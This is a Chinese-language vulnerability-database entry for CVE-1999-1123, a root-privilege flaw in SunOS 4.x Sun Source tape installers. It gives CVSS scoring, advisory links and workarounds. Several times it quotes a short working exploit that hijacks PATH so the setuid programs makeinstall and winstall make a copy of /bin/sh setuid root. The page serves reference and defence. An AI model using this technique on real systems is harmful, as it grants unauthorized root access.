CVE-1999-1123
CVSS7.2
发布时间 :1991-05-20 00:00:00
修订时间 :2008-09-05 16:18:46
NMCOES    

[原文]The installation of Sun Source (sunsrc) tapes allows local users to gain root privileges via setuid root programs (1) makeinstall or (2) winstall.


[CNNVD]Sun Source (sunsrc) tapes漏洞(CNNVD-199105-003)

        Sun Source (sunsrc) tapes的安装存在漏洞。本地用户可以借助setuid根程序(1) makeinstall或者(2) winstall提升根特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sun:sunos:4.0.3Sun SunOS 4.0.3
cpe:/o:sun:sunos:4.1.1Sun SunOS 4.1.1
cpe:/o:sun:sunos:4.1Sun SunOS 4.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1123
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1123
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199105-003
(官方数据源) CNNVD

- 其它链接及资源

http://www.cert.org/advisories/CA-1991-07.html
(VENDOR_ADVISORY)  CERT  CA-1991-07
http://xforce.iss.net/static/582.php
(VENDOR_ADVISORY)  XF  sun-sourcetapes(582)
http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc=secbull/107&type=0&nav=sec.sba
(VENDOR_ADVISORY)  SUN  00107
http://www.securityfocus.com/bid/22
(UNKNOWN)  BID  22
http://www.securityfocus.com/bid/21
(UNKNOWN)  BID  21

- 漏洞信息

Sun Source (sunsrc) tapes漏洞
高危 其他
1991-05-20 00:00:00 2005-10-20 00:00:00
本地  
        Sun Source (sunsrc) tapes的安装存在漏洞。本地用户可以借助setuid根程序(1) makeinstall或者(2) winstall提升根特权。

- 公告与补丁

        chmod ug-s /usr/release/bin/{makeinstall, winstall}
        (if the sources have already been installed)
        and/or
        edit the makefile in sunsrc/release and change the SETUID
        definition (if the sources have been extracted from tape
        but not installed yet).

- 漏洞信息 (19042)

SunOS <= 4.1.1 /usr/release/bin/makeinstall Vulnerability (EDBID:19042)
solaris dos
1999-11-23 Verified
0 Anonymous
N/A [点击下载]
source: http://www.securityfocus.com/bid/21/info

This applies to sites that have installed Sun Source tapes 
only.

The Sun distribution of sources (sunsrc) has an installation
procedure which creates the directory /usr/release/bin and
installs two setuid root files in it: makeinstall and winstall.
These are both binary files which exec other programs: 
"make -k install" (makeinstall) or "install" (winstall) without
a full path or reseting the PATH enviroment variable.

This makes it possible for users on that system to become root.

$ cp /bin/sh /tmp/sh
$ echo chmod 4777 /tmp/sh > /tmp/make
$ chmod a+rx /tmp/make
$ set PATH=/tmp:$PATH
$ export PATH
$ /usr/bin/makeinstall
$ /tmp/sh
# 		

- 漏洞信息 (19043)

SunOS <= 4.1.1 /usr/release/bin/winstall Vulnerability (EDBID:19043)
aix dos
1999-11-12 Verified
0 Anonymous
N/A [点击下载]
source: http://www.securityfocus.com/bid/22/info

This applies to sites that have installed Sun Source tapes only.

The Sun distribution of sources (sunsrc) has an installation procedure which creates the directory /usr/release/bin and installs two setuid root files in it: makeinstall and winstall. These are both binary files which exec other programs: "make -k install" (makeinstall) or "install" (winstall) without a full path or reseting the PATH enviroment variable.

This makes it possible for users on that system to become root.

$ cp /bin/sh /tmp/sh
$ echo chmod 4777 /tmp/sh > /tmp/install
$ chmod a+rx /tmp/install
$ set PATH=/tmp:$PATH
$ export PATH
$ /usr/bin/winstall
$ /tmp/sh
# 		

- 漏洞信息

12951
Sun Source (sunsrc) makeinstall Local Privilege Escalation
Local Access Required
Loss of Integrity Workaround

- 漏洞描述

- 时间线

1991-05-01 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this vulnerability. It is possible to temporarily work around the flaw by implementing the following workaround: 1. Log on as root. 2. Execute the commands: chmod ug-s /usr/release/bin/makeinstall chmod ug-s /usr/release/bin/winstall to reset setuid bits. 3. Delete makeinstall and winstall from the SETUID definition in sunsrc/release/makefile.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

SunOS /usr/release/bin/winstall Vulnerability
Environment Error 22
Yes No
1991-05-20 12:00:00 2009-07-11 12:16:00

- 受影响的程序版本

Sun SunOS 4.1.1
Sun SunOS 4.1 PSR_A
Sun SunOS 4.1
Sun SunOS 4.0.3 c
Sun SunOS 4.0.3

- 漏洞讨论

This applies to sites that have installed Sun Source tapes only.

The Sun distribution of sources (sunsrc) has an installation procedure which creates the directory /usr/release/bin and installs two setuid root files in it: makeinstall and winstall. These are both binary files which exec other programs: "make -k install" (makeinstall) or "install" (winstall) without a full path or reseting the PATH enviroment variable.

This makes it possible for users on that system to become root.

- 漏洞利用

$ cp /bin/sh /tmp/sh
$ echo chmod 4777 /tmp/sh &gt; /tmp/install
$ chmod a+rx /tmp/install
$ set PATH=/tmp:$PATH
$ export PATH
$ /usr/bin/winstall
$ /tmp/sh
#

- 解决方案

chmod ug-s /usr/release/bin/{makeinstall, winstall} (if the sources have already been installed)

and/or

edit the makefile in sunsrc/release and change the SETUID definition (if the sources have been extracted from tape but not installed yet)

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站